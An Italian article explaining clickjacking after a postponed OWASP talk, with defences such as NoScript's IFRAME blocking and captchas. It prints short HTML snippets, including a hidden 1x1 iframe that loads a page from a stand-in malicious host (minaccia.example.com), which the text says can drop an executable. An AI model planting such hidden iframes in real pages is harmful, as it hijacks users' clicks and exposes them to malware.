L’intento dei ricercatori era quella di presentare le loro ricerche in una sessione all’Open Web Application Security Project, OWASP, fissata per il 24 settembre scorso a New York. Tuttavia la loro presentazione – dietro le richieste pressanti di alcuni costruttori, tra cui Adobe – fu sospesa dagli organizzatori per permettere di approntare le necessarie soluzioni ai vari prodotti commerciali. I ricercatori hanno posto evidenza una specifica vulnerabilità che non riguarda direttamente il browser web, ma è da imputare, invece, ai vari servizi utilizzati dal browser stesso. Ryan Naraine è il giornalista che ha dato maggiore risalto al problema; infatti, in un suo articolo ha dato alla notizia un vasta risonanza utilizzando l’arena di internet. L’anomalia che i due ricercatori hanno posto in evidenza è la possibilità di sfruttare, in maniera impropria, una tecnica già conosciuta e utilizzata nel linguaggio HTML o JavaScript.
Che cos’è il clickjacking
Esiste una certa confusione dietro a questa minaccia. Prima di tutto esistono differenti varianti del clickjacking (o furto del click). Il comune denominatore di questa tecnica è la possibilità di catturare, ovviamente all’insaputa dell’utente, i click che egli stesso ha eseguito, o esegue, su un oggetto presente sulla pagina web per poi utilizzarli, a sua insaputa, redirigendoli verso un secondo oggetto di cui, il malintenzionato, dispone del suo totale controllo. L’oggetto presente nella pagina web dell’utente potrebbe anche non essere visibile da quest’ultimo.
È possibile, per esempio, con questa tecnica selezionare particolari pulsanti per forzare scelte non volute dell’utente. Chiaramente in una tecnica del genere non sono in gioco i conti correnti online, ma, in ogni caso, utilizzare questo particolare meccanismo viola, come minimo, le regole della tutela della privacy. In questo modo è possibile iscrivere, per esempio, a una newsletter una potenziale vittima a sua insaputa. O ancora catturando e pilotando in maniera opportuna i vari click è possibile gestire i banner pubblicitari presenti (ad esempio AdSense) incrementando i contatori associati. Non solo: con questa tecnica è possibile far riempire a un ignaro utente un questionario online costringendolo ad aderire a servizi mai chiesti; come risulta evidente esistono innumerevoli possibilità fraudolente.
Esistono differenti varianti di questa minaccia. Alcuni utilizzano gli inner frame (IFRAME), altri Javascript, altri ancora utilizzano CSRF e così via. In questo articolo proviamo a esaminare due possibili varianti : uno in Javascript e l’altro utilizzando i tag IFRAME (inner frame) nascosto.
I problemi con Javascript e il tag IFRAME
Un IFRAME è un tag Html che, opportunamente utilizzato, permette di posizionare una finestra Html su una esistente o su tutta la sua estensione o utilizzando parti di essa. Un hacker utilizza, di norma, un IFRAME per inserirvi un sito insidioso su uno legittimo per tutta la sua estensione. In questo modo le eventuali selezioni sulla pagina cadono sulla pagina fittizia. Per esempio, in questo modo:
<iframe height="100%" width="100%" src="attacker site">
Per questa ragione non è utile disabilitare Javascript per ovviare al problema, ma occorre inibire, semmai, le funzionalità relative a IFRAME, qualora fosse possibile. Esistono innumerevoli derivazioni. Il seguente esempio utilizza la stessa tecnica per installare un potenziale eseguibile dannoso in una cartella temporanea dell’ignaro utente. La tecnica ricorre sempre al tag IFRAME e la definizione del size 1 su 1 permette di nascondere la minaccia:
<iframe src= http://minaccia.example.com/index.html frameborder="0" width="1" height="1" scrolling="no" name=counter> </iframe><html>
Viceversa, il clickjacking basato su Javascript deve intercettare l’evento (per esempio il click del mouse) utilizzando un apposito gestore d’eventi, onclick(). La funzione di gestione dell’evento deve essere una funzione Javascript scritta dal malintenzionato, in questo modo:
img src="start.png" style="cursor:pointer;padding:10px;" onclick="initStart()"
Ogni volta che è selezionata l’immagine “start.png” è invocata la funzione associata initStart() con parametri definibili dall’utente.
Che cosa possiamo fare?
Allo stato attuale non esiste un browser immune. Il problema non dipende dal particolare browser perché la minaccia è insita nel tag IFRAME o dallo standard Html e Javascript. Gli utenti che utilizzano browser datati (per esempio Internet Explorer fino alla versione 4.0) o solo testo (Lynx o Links) non hanno nulla da temere: questi, infatti, non supportano queste features. Per eliminare definitivamente il fenomeno occorre ridefinire gli stessi standard applicativi. Allo stato attuale quello che possiamo fare è inasprire il controllo del browser o inibire certe opzioni.
Per esempio è possibile disabilitare l’interprete Javascript e il tag IFRAME. Purtroppo, però, non tutti i browser permettono di definire, con precisione, la disabilitazione di Javascript e di IFRAME in maniera contemporanea. Così, chi utilizza Mozilla o Firefox può installare il plug-in NoScript e nella pagina “preferenze” selezionare “true” l’opzione “forbid IFRAME”, mentre per gli altri browser può essere opportuno definire delle white list. Non solo, anche gli amministratori di siti web possono partecipare alla messa in sicurezza del proprio sito. È possibile, per esempio, associare, a ogni click, i famosi captcha, o definire password mirate per la singola operazione o delle email di conferma: insomma, occorre incorporare tecniche addizionali che permettono di mitigare il problema. Non tralasciamo anche il nostro buon senso, vale a dire non cimentatevi nei giochi online su siti sconosciuti: la vita è già abbastanza complicata perché peggiorarcela?
In ogni caso vi rimando a un documento interessante del Cert, sulla sicurezza del browser, che può fornire informazioni utili per mettere in sicurezza il browser. Anche i produttori stanno già approntando soluzioni per i propri prodotti: Adobe, per esempio, ha messo in linea un workaround& per Flash Player il 7 ottobre scorso.
I giochi online rappresentano una possibile minaccia; infatti, questi particolari giochi interattivi in cui l’ignaro utente deve interagire utilizzando i click del mouse, sono quelli più pericolosi. In questo modo i vari click, o solo una parte di questi, possono essere re-diretti verso un pulsante invisibile, nascosto dentro un IFRAME. In Rete esiste un video interessante che permette di rendersi conto di cosa stiamo parlando. Robert Hansen ha diffuso, il 29 settembre scorso, un semplice script per mostrare il funzionamento di un generico clickjacking. Il file è liberamente prelevabile e potrebbe essere utile per chi vuole approfondire questo tema.
In conclusione, è buona norma stare sempre attenti: la Rete è sì fonte di conoscenza e scambio d’informazioni, ma è anche, soprattutto, un luogo dove, per difendersi, è necessario approfondire la propria conoscenza.